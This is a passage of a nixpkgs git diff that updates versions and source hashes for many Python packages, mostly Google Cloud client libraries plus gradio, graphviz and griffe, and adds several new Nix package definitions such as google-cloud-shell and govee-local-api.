"sha256-g+tH/u2lEbQDdMPo/4+kl03+d9mrLzR2Eo/H8e8Niic="; + }; + + nativeBuildInputs = [ + setuptools + ]; + + propagatedBuildInputs = [ + google-api-core + google-auth + proto-plus + protobuf + ] ++ google-api-core.optional-dependencies.grpc; + + nativeCheckInputs = [ + mock + pytest-asyncio + pytestCheckHook + ]; + + pythonImportsCheck = [ + "google.cloud.netapp" + "google.cloud.netapp_v1" + ]; + + meta = with lib; { + description = "Python Client for NetApp API"; + homepage = "https://github.com/googleapis/google-cloud-python/tree/main/packages/google-cloud-netapp"; + changelog = "https://github.com/googleapis/google-cloud-python/blob/google-cloud-netapp-v${version}/packages/google-cloud-netapp/CHANGELOG.md"; + license = licenses.asl20; + maintainers = with maintainers; [ ]; + }; +} diff --git a/pkgs/development/python-modules/google-cloud-os-config/default.nix b/pkgs/development/python-modules/google-cloud-os-config/default.nix index 7d67e77c4c975..7abcde5174c0c 100644 --- a/pkgs/development/python-modules/google-cloud-os-config/default.nix +++ b/pkgs/development/python-modules/google-cloud-os-config/default.nix @@ -12,14 +12,14 @@ buildPythonPackage rec { pname = "google-cloud-os-config"; - version = "1.17.1"; + version = "1.17.3"; pyproject = true; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-0DXo2h2gqO1z5quUyWI1Qb/CNaqyy1SNinyaPyRWuR0="; + hash = "sha256-oKOqWVmAP14dKpbVDlcX2KSRceTqVES/UGlLsYtnWHA="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/google-cloud-pubsub/default.nix b/pkgs/development/python-modules/google-cloud-pubsub/default.nix index 47e0373d65dfd..5c4ce89104c2a 100644 --- a/pkgs/development/python-modules/google-cloud-pubsub/default.nix +++ b/pkgs/development/python-modules/google-cloud-pubsub/default.nix @@ -12,20 +12,25 @@ , pytest-asyncio , pytestCheckHook , pythonOlder +, setuptools }: buildPythonPackage rec { pname = "google-cloud-pubsub"; - version = "2.19.1"; - format = "setuptools"; + version = "2.20.1"; + pyproject = true; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-wQ2V66+QP5I7FKqOxbfICRYTjt8pnGWhwalDH9VmXSU="; + hash = "sha256-ttBvGCeWgnPEK1egn2QkYmSclQTcD4dW+Zdw9OPnVa0="; }; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ google-api-core grpc-google-iam-v1 diff --git a/pkgs/development/python-modules/google-cloud-redis/default.nix b/pkgs/development/python-modules/google-cloud-redis/default.nix index 351acb6181011..588a156d745dc 100644 --- a/pkgs/development/python-modules/google-cloud-redis/default.nix +++ b/pkgs/development/python-modules/google-cloud-redis/default.nix @@ -12,14 +12,14 @@ buildPythonPackage rec { pname = "google-cloud-redis"; - version = "2.15.1"; + version = "2.15.3"; pyproject = true; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-RTDYMmkRjkP5VhN74Adlvm/vpqXd9lnu3ckjmItIi+Y="; + hash = "sha256-5qIx5FEHA4z+SY360fba0sp73KOpMTI3ML4Dq3oACo8="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/google-cloud-resource-manager/default.nix b/pkgs/development/python-modules/google-cloud-resource-manager/default.nix index 56f4b5018ebe1..299f2f1f3a804 100644 --- a/pkgs/development/python-modules/google-cloud-resource-manager/default.nix +++ b/pkgs/development/python-modules/google-cloud-resource-manager/default.nix @@ -14,14 +14,14 @@ buildPythonPackage rec { pname = "google-cloud-resource-manager"; - version = "1.12.1"; + version = "1.12.3"; pyproject = true; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-JbMRLJhO9qJWnKcEcWCyNBxSjHDh0uct65loaqLhZ90="; + hash = "sha256-gJhRgkEZg05PIxCyxPOGIcHRayuxTVufEy5px501Xn8="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/google-cloud-secret-manager/default.nix b/pkgs/development/python-modules/google-cloud-secret-manager/default.nix index 6901c9dc3107a..69009eb546781 100644 --- a/pkgs/development/python-modules/google-cloud-secret-manager/default.nix +++ b/pkgs/development/python-modules/google-cloud-secret-manager/default.nix @@ -8,20 +8,25 @@ , pytest-asyncio , pytestCheckHook , pythonOlder +, setuptools }: buildPythonPackage rec { pname = "google-cloud-secret-manager"; - version = "2.18.0"; - format = "setuptools"; + version = "2.18.3"; + pyproject = true; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-Tkmb0z/3rv8nG9Z0h+IdVAQpeobcSHPuhh1jewGzC04="; + hash = "sha256-HbL0CTJFNuNPmFCB04njl0yjo2aN94RcrQvgOrjA+n0="; }; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ google-api-core grpc-google-iam-v1 diff --git a/pkgs/development/python-modules/google-cloud-securitycenter/default.nix b/pkgs/development/python-modules/google-cloud-securitycenter/default.nix index 1e0c86b61a739..d27b35b56b1e4 100644 --- a/pkgs/development/python-modules/google-cloud-securitycenter/default.nix +++ b/pkgs/development/python-modules/google-cloud-securitycenter/default.nix @@ -13,14 +13,14 @@ buildPythonPackage rec { pname = "google-cloud-securitycenter"; - version = "1.26.1"; + version = "1.28.0"; pyproject = true; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-oZWY7n/8638/WkIG9s/9LN4NKWSfhnrQp+9Pydq103E="; + hash = "sha256-80syqWoK2J+CjsBFO6LJEuF+pimJGpufgRLObHSKcAw="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/google-cloud-shell/default.nix b/pkgs/development/python-modules/google-cloud-shell/default.nix new file mode 100644 index 0000000000000..e2dd38444b563 --- /dev/null +++ b/pkgs/development/python-modules/google-cloud-shell/default.nix @@ -0,0 +1,56 @@ +{ lib +, buildPythonPackage +, fetchPypi +, google-api-core +, google-auth +, mock +, proto-plus +, protobuf +, pytest-asyncio +, pytestCheckHook +, pythonOlder +, setuptools +}: + +buildPythonPackage rec { + pname = "google-cloud-shell"; + version = "1.9.3"; + pyproject = true; + + disabled = pythonOlder "3.7"; + + src = fetchPypi { + inherit pname version; + hash = "sha256-33TZcRsOWP8PBAXFHy9DQn20bVECwD2wv7hcaYl0E8Y="; + }; + + nativeBuildInputs = [ + setuptools + ]; + + propagatedBuildInputs = [ + google-api-core + google-auth + proto-plus + protobuf + ] ++ google-api-core.optional-dependencies.grpc; + + nativeCheckInputs = [ + mock + pytest-asyncio + pytestCheckHook + ]; + + pythonImportsCheck = [ + "google.cloud.shell" + "google.cloud.shell_v1" + ]; + + meta = with lib; { + description = "Python Client for Cloud Shell"; + homepage = "https://github.com/googleapis/google-cloud-python/tree/main/packages/google-cloud-shell"; + changelog = "https://github.com/googleapis/google-cloud-python/blob/google-cloud-shell-v${version}/packages/google-cloud-shell/CHANGELOG.md"; + license = licenses.asl20; + maintainers = with maintainers; [ fab ]; + }; +} diff --git a/pkgs/development/python-modules/google-cloud-spanner/default.nix b/pkgs/development/python-modules/google-cloud-spanner/default.nix index 69cc1914c5ab6..27794f0cc9585 100644 --- a/pkgs/development/python-modules/google-cloud-spanner/default.nix +++ b/pkgs/development/python-modules/google-cloud-spanner/default.nix @@ -20,14 +20,14 @@ buildPythonPackage rec { pname = "google-cloud-spanner"; - version = "3.42.0"; + version = "3.43.0"; pyproject = true; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-E7arqGBZ/QPzbAMsQUMnTWiD054tMr91PgrT0tzQjhI="; + hash = "sha256-BmLpX+MUZ0o7iy+jwZ6B5UTZT1hMppZbmMlQg6iGQiI="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/google-cloud-speech/default.nix b/pkgs/development/python-modules/google-cloud-speech/default.nix index a4f2ab9ae4b33..1fc4624e85091 100644 --- a/pkgs/development/python-modules/google-cloud-speech/default.nix +++ b/pkgs/development/python-modules/google-cloud-speech/default.nix @@ -13,14 +13,14 @@ buildPythonPackage rec { pname = "google-cloud-speech"; - version = "2.24.0"; + version = "2.25.1"; pyproject = true; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-Z7x4xfCbeRPoCbinCrTwIAp9JIvfavFvA1c4/a5UbHQ="; + hash = "sha256-W3RwqUn1p3xAURw2ZKwzn+CkcESC+bazorpVS30rLNw="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/google-cloud-storage/default.nix b/pkgs/development/python-modules/google-cloud-storage/default.nix index 42ffe46a97b76..b999d28147f83 100644 --- a/pkgs/development/python-modules/google-cloud-storage/default.nix +++ b/pkgs/development/python-modules/google-cloud-storage/default.nix @@ -18,14 +18,14 @@ buildPythonPackage rec { pname = "google-cloud-storage"; - version = "2.13.0"; + version = "2.15.0"; pyproject = true; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-9i3Ex7bNQ2DQcuPesoA1+9rUkaw9mwsYFaEtrqEPN8c="; + hash = "sha256-dWCjxIoD1mxVPcVSFdNYg8aA/gq0TCOqSDKADMyFXHQ="; }; nativeBuildInputs = [ @@ -72,6 +72,7 @@ buildPythonPackage rec { "test_open" "test_anonymous_client_access_to_public_bucket" "test_ctor_w_custom_endpoint_use_auth" + "test_ctor_w_api_endpoint_override" ]; disabledTestPaths = [ diff --git a/pkgs/development/python-modules/google-cloud-tasks/default.nix b/pkgs/development/python-modules/google-cloud-tasks/default.nix index bc6cf42b27c7e..a76e4e50f7f00 100644 --- a/pkgs/development/python-modules/google-cloud-tasks/default.nix +++ b/pkgs/development/python-modules/google-cloud-tasks/default.nix @@ -14,14 +14,14 @@ buildPythonPackage rec { pname = "google-cloud-tasks"; - version = "2.16.0"; + version = "2.16.3"; pyproject = true; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-oybkbzeqE4sW6RN5P7AFJV3rahTCykwJndQ8uAmhiCE="; + hash = "sha256-2JH+cAbbTWEig4qm3krKbgB3urIk7crmhGZq4+MDxF8="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/google-cloud-testutils/default.nix b/pkgs/development/python-modules/google-cloud-testutils/default.nix index 55577e6fef96b..72d95a9410d60 100644 --- a/pkgs/development/python-modules/google-cloud-testutils/default.nix +++ b/pkgs/development/python-modules/google-cloud-testutils/default.nix @@ -9,14 +9,14 @@ buildPythonPackage rec { pname = "google-cloud-testutils"; - version = "1.3.3"; + version = "1.4.0"; format = "setuptools"; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-bRjvNNmvsBy0sR4C0DoC/n7A9ez6AfXUJrXZiHKkz0g="; + hash = "sha256-1oocIuKssoUA1p2dxhqFy+nJjJtp4phwQnHN/L88C8s="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/google-cloud-texttospeech/default.nix b/pkgs/development/python-modules/google-cloud-texttospeech/default.nix index f65f1de888065..76b0c2a1f269c 100644 --- a/pkgs/development/python-modules/google-cloud-texttospeech/default.nix +++ b/pkgs/development/python-modules/google-cloud-texttospeech/default.nix @@ -8,20 +8,25 @@ , pytest-asyncio , pytestCheckHook , pythonOlder +, setuptools }: buildPythonPackage rec { pname = "google-cloud-texttospeech"; - version = "2.16.1"; - format = "setuptools"; + version = "2.16.3"; + pyproject = true; disabled = pythonOlder "3.8"; src = fetchPypi { inherit pname version; - hash = "sha256-8Mgf83pd3FFokpnb1g8DDthVBBY+hvBMmjdf2fpQswQ="; + hash = "sha256-+rwxUDLRN9oHELtMJoc00zYhLY+oMWsjsnfdOoTOchw="; }; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ google-api-core proto-plus diff --git a/pkgs/development/python-modules/google-cloud-trace/default.nix b/pkgs/development/python-modules/google-cloud-trace/default.nix index bca3d89819f03..4a276b5f05a72 100644 --- a/pkgs/development/python-modules/google-cloud-trace/default.nix +++ b/pkgs/development/python-modules/google-cloud-trace/default.nix @@ -14,14 +14,14 @@ buildPythonPackage rec { pname = "google-cloud-trace"; - version = "1.13.1"; + version = "1.13.3"; pyproject = true; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-KJpHnWbmrFVcixfvKQ/nvDWLy4Sn1lVDVsjkS/2+p5w="; + hash = "sha256-NqwuM94NsBf/0vY9jWTct1vpETzPpN5JYvRzfv1srIA="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/google-cloud-translate/default.nix b/pkgs/development/python-modules/google-cloud-translate/default.nix index bc5ab67b018c1..2eb65c2a61a23 100644 --- a/pkgs/development/python-modules/google-cloud-translate/default.nix +++ b/pkgs/development/python-modules/google-cloud-translate/default.nix @@ -10,20 +10,25 @@ , pytest-asyncio , pytestCheckHook , pythonOlder +, setuptools }: buildPythonPackage rec { pname = "google-cloud-translate"; - version = "3.12.1"; - format = "setuptools"; + version = "3.15.3"; + pyproject = true; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-Zhy4h5qjxjovclo+po+QGZvTVMlcoWnMLoOlEFmH0p4="; + hash = "sha256-7Vh6HmDPhHw7Gt1rKCVuLRci+nOkKFM09excqTPmFvI="; }; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ google-api-core google-cloud-core @@ -34,8 +39,8 @@ buildPythonPackage rec { nativeCheckInputs = [ google-cloud-testutils mock - pytestCheckHook pytest-asyncio + pytestCheckHook ]; preCheck = '' @@ -50,6 +55,11 @@ buildPythonPackage rec { "google.cloud.translate_v3beta1" ]; + disabledTests = [ + # Tests require PROJECT_ID + "test_list_glossaries" + ]; + meta = with lib; { description = "Google Cloud Translation API client library"; homepage = "https://github.com/googleapis/python-translate"; diff --git a/pkgs/development/python-modules/google-cloud-videointelligence/default.nix b/pkgs/development/python-modules/google-cloud-videointelligence/default.nix index e8ac6fa628f59..d7d39587fe5a0 100644 --- a/pkgs/development/python-modules/google-cloud-videointelligence/default.nix +++ b/pkgs/development/python-modules/google-cloud-videointelligence/default.nix @@ -9,20 +9,25 @@ , pytest-asyncio , pytestCheckHook , pythonOlder +, setuptools }: buildPythonPackage rec { pname = "google-cloud-videointelligence"; - version = "2.13.0"; - format = "setuptools"; + version = "2.13.3"; + pyproject = true; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-ODRF08xxjUrj6PMzfTlcYLqGrgV71OA0VHT44ktQZ4k="; + hash = "sha256-FGByHYEgZhxHfAGvDt09sDhFhX9SFGpKOfFrSs+zb20="; }; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ google-api-core proto-plus diff --git a/pkgs/development/python-modules/google-cloud-vision/default.nix b/pkgs/development/python-modules/google-cloud-vision/default.nix index 071543ae3caf7..a771cba345074 100644 --- a/pkgs/development/python-modules/google-cloud-vision/default.nix +++ b/pkgs/development/python-modules/google-cloud-vision/default.nix @@ -13,14 +13,14 @@ buildPythonPackage rec { pname = "google-cloud-vision"; - version = "3.6.0"; + version = "3.7.2"; pyproject = true; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-uaaL/CbR4RM4YFU0xd/naGn3xSiLuRqI0/qyZNLKJ3Q="; + hash = "sha256-BEMwrWGMgQMz/yKWzSf/0UXySWONGzWycN5rRgsA6NI="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/google-cloud-vpc-access/default.nix b/pkgs/development/python-modules/google-cloud-vpc-access/default.nix new file mode 100644 index 0000000000000..0c6bbf6ace671 --- /dev/null +++ b/pkgs/development/python-modules/google-cloud-vpc-access/default.nix @@ -0,0 +1,56 @@ +{ lib +, buildPythonPackage +, fetchPypi +, google-api-core +, google-auth +, mock +, proto-plus +, protobuf +, pytest-asyncio +, pytestCheckHook +, pythonOlder +, setuptools +}: + +buildPythonPackage rec { + pname = "google-cloud-vpc-access"; + version = "1.10.3"; + pyproject = true; + + disabled = pythonOlder "3.8"; + + src = fetchPypi { + inherit pname version; + hash = "sha256-mkDYB4HFJEu1ZRKo58s5a9lZjQ0pUs6nOBMnm27ajeM="; + }; + + nativeBuildInputs = [ + setuptools + ]; + + propagatedBuildInputs = [ + google-api-core + google-auth + proto-plus + protobuf + ] ++ google-api-core.optional-dependencies.grpc; + + nativeCheckInputs = [ + mock + pytest-asyncio + pytestCheckHook + ]; + + pythonImportsCheck = [ + "google.cloud.vpcaccess" + "google.cloud.vpcaccess_v1" + ]; + + meta = with lib; { + description = "Python Client for Virtual Private Cloud"; + homepage = "https://github.com/googleapis/google-cloud-python/tree/main/packages/google-cloud-vpc-access"; + changelog = "https://github.com/googleapis/google-cloud-python/blob/google-cloud-vpc-access-v${version}/packages/google-cloud-vpc-access/CHANGELOG.md"; + license = licenses.asl20; + maintainers = with maintainers; [ fab ]; + }; +} diff --git a/pkgs/development/python-modules/google-cloud-webrisk/default.nix b/pkgs/development/python-modules/google-cloud-webrisk/default.nix new file mode 100644 index 0000000000000..8457ab9180d03 --- /dev/null +++ b/pkgs/development/python-modules/google-cloud-webrisk/default.nix @@ -0,0 +1,57 @@ +{ lib +, buildPythonPackage +, fetchPypi +, google-api-core +, google-auth +, mock +, proto-plus +, protobuf +, pytest-asyncio +, pytestCheckHook +, pythonOlder +, setuptools +}: + +buildPythonPackage rec { + pname = "google-cloud-webrisk"; + version = "1.14.3"; + pyproject = true; + + disabled = pythonOlder "3.7"; + + src = fetchPypi { + inherit pname version; + hash = "sha256-VrfIVy3qGEMfFUiJ27zZPjBaWIPZX/qraga/+FfJol4="; + }; + + nativeBuildInputs = [ + setuptools + ]; + + propagatedBuildInputs = [ + google-api-core + google-auth + proto-plus + protobuf + ] ++ google-api-core.optional-dependencies.grpc; + + nativeCheckInputs = [ + mock + pytest-asyncio + pytestCheckHook + ]; + + pythonImportsCheck = [ + "google.cloud.webrisk" + "google.cloud.webrisk_v1" + "google.cloud.webrisk_v1beta1" + ]; + + meta = with lib; { + description = "Python Client for Web Risk"; + homepage = "https://github.com/googleapis/google-cloud-python/tree/main/packages/google-cloud-webrisk"; + changelog = "https://github.com/googleapis/google-cloud-python/blob/google-cloud-webrisk-v${version}/packages/google-cloud-webrisk/CHANGELOG.md"; + license = licenses.asl20; + maintainers = with maintainers; [ fab ]; + }; +} diff --git a/pkgs/development/python-modules/google-cloud-websecurityscanner/default.nix b/pkgs/development/python-modules/google-cloud-websecurityscanner/default.nix index 1f9b27f06f285..3188af54d1dee 100644 --- a/pkgs/development/python-modules/google-cloud-websecurityscanner/default.nix +++ b/pkgs/development/python-modules/google-cloud-websecurityscanner/default.nix @@ -13,14 +13,14 @@ buildPythonPackage rec { pname = "google-cloud-websecurityscanner"; - version = "1.14.1"; + version = "1.14.2"; pyproject = true; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-+RupyR6W5fYR1n28anASGIXI6J53CU4WG1QC+HIZi/Y="; + hash = "sha256-loiKMV7guByukm9XBohVbCDsV607i8PXiQaJ8GZS6Go="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/google-cloud-workflows/default.nix b/pkgs/development/python-modules/google-cloud-workflows/default.nix new file mode 100644 index 0000000000000..bc54419923f33 --- /dev/null +++ b/pkgs/development/python-modules/google-cloud-workflows/default.nix @@ -0,0 +1,55 @@ +{ lib +, buildPythonPackage +, fetchPypi +, google-api-core +, mock +, proto-plus +, protobuf +, pytest-asyncio +, pytestCheckHook +, pythonOlder +, setuptools +}: + +buildPythonPackage rec { + pname = "google-cloud-workflows"; + version = "1.14.3"; + pyproject = true; + + disabled = pythonOlder "3.7"; + + src = fetchPypi { + inherit pname version; + hash = "sha256-IUC5f3gDe5Z9QYVXaIZ3L+F7530q6ZltIHozTtWnf/4="; + }; + + nativeBuildInputs = [ + setuptools + ]; + + propagatedBuildInputs = [ + google-api-core + proto-plus + protobuf + ] ++ google-api-core.optional-dependencies.grpc; + + nativeCheckInputs = [ + mock + pytestCheckHook + pytest-asyncio + ]; + + pythonImportsCheck = [ + "google.cloud.workflows" + "google.cloud.workflows_v1" + "google.cloud.workflows_v1beta" + ]; + + meta = with lib; { + description = "Python Client for Cloud Workflows"; + homepage = "https://github.com/googleapis/google-cloud-python/tree/main/packages/google-cloud-workflows"; + changelog = "https://github.com/googleapis/google-cloud-python/blob/google-cloud-workflows-v${version}/packages/google-cloud-workflows/CHANGELOG.md"; + license = licenses.asl20; + maintainers = with maintainers; [ fab ]; + }; +} diff --git a/pkgs/development/python-modules/google-cloud-workstations/default.nix b/pkgs/development/python-modules/google-cloud-workstations/default.nix new file mode 100644 index 0000000000000..1341eae06f2aa --- /dev/null +++ b/pkgs/development/python-modules/google-cloud-workstations/default.nix @@ -0,0 +1,59 @@ +{ lib +, buildPythonPackage +, fetchPypi +, google-api-core +, google-auth +, grpc-google-iam-v1 +, mock +, proto-plus +, protobuf +, pytest-asyncio +, pytestCheckHook +, pythonOlder +, setuptools +}: + +buildPythonPackage rec { + pname = "google-cloud-workstations"; + version = "0.5.6"; + pyproject = true; + + disabled = pythonOlder "3.8"; + + src = fetchPypi { + inherit pname version; + hash = "sha256-K6Qq243bX3waymyGcirLAANqmP0UAUgFS3kidwCFYBE="; + }; + + nativeBuildInputs = [ + setuptools + ]; + + propagatedBuildInputs = [ + google-api-core + google-auth + grpc-google-iam-v1 + proto-plus + protobuf + ] ++ google-api-core.optional-dependencies.grpc; + + nativeCheckInputs = [ + mock + pytest-asyncio + pytestCheckHook + ]; + + pythonImportsCheck = [ + "google.cloud.workstations" + "google.cloud.workstations_v1" + "google.cloud.workstations_v1beta" + ]; + + meta = with lib; { + description = "Python Client for Cloud Workstations"; + homepage = "https://github.com/googleapis/google-cloud-python/tree/main/packages/google-cloud-workstations"; + changelog = "https://github.com/googleapis/google-cloud-python/blob/google-cloud-workstations-v${version}/packages/google-cloud-workstations/CHANGELOG.md"; + license = licenses.asl20; + maintainers = with maintainers; [ fab ]; + }; +} diff --git a/pkgs/development/python-modules/govee-local-api/default.nix b/pkgs/development/python-modules/govee-local-api/default.nix new file mode 100644 index 0000000000000..03501fa0cbcf3 --- /dev/null +++ b/pkgs/development/python-modules/govee-local-api/default.nix @@ -0,0 +1,44 @@ +{ lib +, buildPythonPackage +, fetchFromGitHub +, poetry-core +, poetry-dynamic-versioning +, pytestCheckHook +, pythonOlder +}: + +buildPythonPackage rec { + pname = "govee-local-api"; + version = "1.4.4"; + pyproject = true; + + disabled = pythonOlder "3.10"; + + src = fetchFromGitHub { + owner = "Galorhallen"; + repo = "govee-local-api"; + rev = "refs/tags/v${version}"; + hash = "sha256-J4SG4n6LIZ/G6pEXAzliV7uTWzqsH7rtFe3Y7BJ2dWE="; + }; + + nativeBuildInputs = [ + poetry-core + poetry-dynamic-versioning + ]; + + nativeCheckInputs = [ + pytestCheckHook + ]; + + pythonImportsCheck = [ + "govee_local_api" + ]; + + meta = with lib; { + description = ""; + homepage = "https://github.com/Galorhallen/govee-local-api"; + changelog = "https://github.com/Galorhallen/govee-local-api/releases/tag/v${version}"; + license = licenses.asl20; + maintainers = with maintainers; [ fab ]; + }; +} diff --git a/pkgs/development/python-modules/gpaw/default.nix b/pkgs/development/python-modules/gpaw/default.nix index be43eb55857dd..37b12c6f5ed49 100644 --- a/pkgs/development/python-modules/gpaw/default.nix +++ b/pkgs/development/python-modules/gpaw/default.nix @@ -29,8 +29,8 @@ let text = '' # Compiler compiler = 'gcc' - mpicompiler = '${mpi}/bin/mpicc' - mpilinker = '${mpi}/bin/mpicc' + mpicompiler = '${lib.getDev mpi}/bin/mpicc' + mpilinker = '${lib.getDev mpi}/bin/mpicc' # BLAS libraries += ['blas'] diff --git a/pkgs/development/python-modules/gradio/client.nix b/pkgs/development/python-modules/gradio/client.nix index 1d7223e6a2485..8ad76a907581b 100644 --- a/pkgs/development/python-modules/gradio/client.nix +++ b/pkgs/development/python-modules/gradio/client.nix @@ -27,7 +27,7 @@ buildPythonPackage rec { pname = "gradio-client"; - version = "0.7.3"; + version = "0.10.1"; format = "pyproject"; disabled = pythonOlder "3.8"; @@ -36,10 +36,9 @@ buildPythonPackage rec { src = fetchFromGitHub { owner = "gradio-app"; repo = "gradio"; - #rev = "refs/tags/v${gradio.version}"; - rev = "dc131b64f05062447643217819ca630e483a11df"; # v4.9.1 is not tagged... + rev = "refs/tags/gradio_client@${version}"; sparseCheckout = [ "client/python" ]; - hash = "sha256-Zp1Zl53Va0pyyZEHDUpnldi4dtH2uss7PZQD+Le8+cA="; + hash = "sha256-cRsYqNMmzuybJI823lpUOmNcTdcTO8dJkp3cpjATZQU="; }; prePatch = '' cd client/python diff --git a/pkgs/development/python-modules/gradio/default.nix b/pkgs/development/python-modules/gradio/default.nix index bead2da9dfd79..c87c41631291c 100644 --- a/pkgs/development/python-modules/gradio/default.nix +++ b/pkgs/development/python-modules/gradio/default.nix @@ -57,7 +57,7 @@ buildPythonPackage rec { pname = "gradio"; - version = "4.9.1"; + version = "4.19.2"; format = "pyproject"; disabled = pythonOlder "3.7"; @@ -66,7 +66,7 @@ buildPythonPackage rec { # and upstream has stopped tagging releases since 3.41.0 src = fetchPypi { inherit pname version; - hash = "sha256-KosxlmU5pYvuy5zysscuWM25IGXin7RLGEM9V2xPQrU="; + hash = "sha256-b+WBW7Tfru0fx0Ijv/2R2nChtGMVivjF4D0BuwkGih0="; }; # fix packaging.ParserSyntaxError, which can't handle comments @@ -81,6 +81,12 @@ buildPythonPackage rec { "tomlkit" ]; + pythonRemoveDeps = [ + # our package is presented as a binary, not a python lib - and + # this isn't a real runtime dependency + "ruff" + ]; + nativeBuildInputs = [ pythonRelaxDepsHook hatchling @@ -164,6 +170,9 @@ buildPythonPackage rec { # shap is too often broken in nixpkgs "test_shapley_text" + + # fails without network + "test_download_if_url_correct_parse" ]; disabledTestPaths = [ # 100% touches network @@ -193,7 +202,6 @@ buildPythonPackage rec { gradio-pdf = null; })).overridePythonAttrs (old: { pname = old.pname + "-sans-client"; - nativeBuildInputs = (old.nativeBuildInputs or []) ++ [ pythonRelaxDepsHook ]; pythonRemoveDeps = (old.pythonRemoveDeps or []) ++ [ "gradio-client" ]; doInstallCheck = false; doCheck = false; diff --git a/pkgs/development/python-modules/graphviz/default.nix b/pkgs/development/python-modules/graphviz/default.nix index 8f145c13e7220..8a5286c656091 100644 --- a/pkgs/development/python-modules/graphviz/default.nix +++ b/pkgs/development/python-modules/graphviz/default.nix @@ -5,7 +5,7 @@ , fetchFromGitHub , fetchpatch , substituteAll -, graphviz +, graphviz-nox , xdg-utils , makeFontsConf , freefont_ttf @@ -34,7 +34,7 @@ buildPythonPackage rec { patches = [ (substituteAll { src = ./paths.patch; - inherit graphviz; + graphviz = graphviz-nox; xdgutils = xdg-utils; }) # https://github.com/xflr6/graphviz/issues/209 diff --git a/pkgs/development/python-modules/greeneye-monitor/default.nix b/pkgs/development/python-modules/greeneye-monitor/default.nix index 3b6e9f6f0f23e..aa206825e7f66 100644 --- a/pkgs/development/python-modules/greeneye-monitor/default.nix +++ b/pkgs/development/python-modules/greeneye-monitor/default.nix @@ -10,7 +10,7 @@ buildPythonPackage rec { pname = "greeneye-monitor"; - version = "5.0.1"; + version = "5.0.2"; format = "pyproject"; disabled = pythonOlder "3.10"; @@ -19,7 +19,7 @@ buildPythonPackage rec { owner = "jkeljo"; repo = "greeneye-monitor"; rev = "refs/tags/v${version}"; - hash = "sha256-zNGizNOuZuPRdz82y8IaVvwrTos4lZSqTP5FwOlnRao="; + hash = "sha256-7EDuQ+wECcTzxkEufMpg3WSzosWeiwfxcVIVtQi+0BI="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/greynoise/default.nix b/pkgs/development/python-modules/greynoise/default.nix index ada5f4096216e..2f328434c0677 100644 --- a/pkgs/development/python-modules/greynoise/default.nix +++ b/pkgs/development/python-modules/greynoise/default.nix @@ -19,7 +19,7 @@ buildPythonPackage rec { pname = "greynoise"; - version = "2.0.1"; + version = "2.1.0"; format = "setuptools"; disabled = pythonOlder "3.6"; @@ -27,8 +27,8 @@ buildPythonPackage rec { src = fetchFromGitHub { owner = "GreyNoise-Intelligence"; repo = "pygreynoise"; - rev = "v${version}"; - hash = "sha256-zevom7JqXnZuotXfGtfPOmQNh32dANS4Uc6tHUuq08s="; + rev = "refs/tags/v${version}"; + hash = "sha256-bMQfGkCjMBimNaYzSi78GaLiDiLdmxMB8RfFCVTxD5U="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/griffe/default.nix b/pkgs/development/python-modules/griffe/default.nix index d3e9ca2ae7f4d..562fc92a2851b 100644 --- a/pkgs/development/python-modules/griffe/default.nix +++ b/pkgs/development/python-modules/griffe/default.nix @@ -12,16 +12,16 @@ buildPythonPackage rec { pname = "griffe"; - version = "0.40.1"; - format = "pyproject"; + version = "0.41.3"; + pyproject = true; disabled = pythonOlder "3.8"; src = fetchFromGitHub { owner = "mkdocstrings"; - repo = pname; + repo = "griffe"; rev = "refs/tags/${version}"; - hash = "sha256-DaLxGEwR2Z9IEkKbLkOy7Q3dvvmwTNBNMzYxNoeZMJE="; + hash = "sha256-bRg7pqoGrsSO7wQLA0FKMmIBcYPNGIUueOfXjuvazrE="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/grip/default.nix b/pkgs/development/python-modules/grip/default.nix index 0236886af98dd..37319e1ede7bc 100644 --- a/pkgs/development/python-modules/grip/default.nix +++ b/pkgs/development/python-modules/grip/default.nix @@ -1,5 +1,6 @@ { lib , fetchFromGitHub +, fetchpatch # Python bits: , buildPythonPackage , pytest @@ -25,6 +26,15 @@ buildPythonPackage rec { hash = "sha256-CHL2dy0H/i0pLo653F7aUHFvZHTeZA6jC/rwn1KrEW4="; }; + patches = [ + # https://github.com/NixOS/nixpkgs/issues/288478 + (fetchpatch { + name 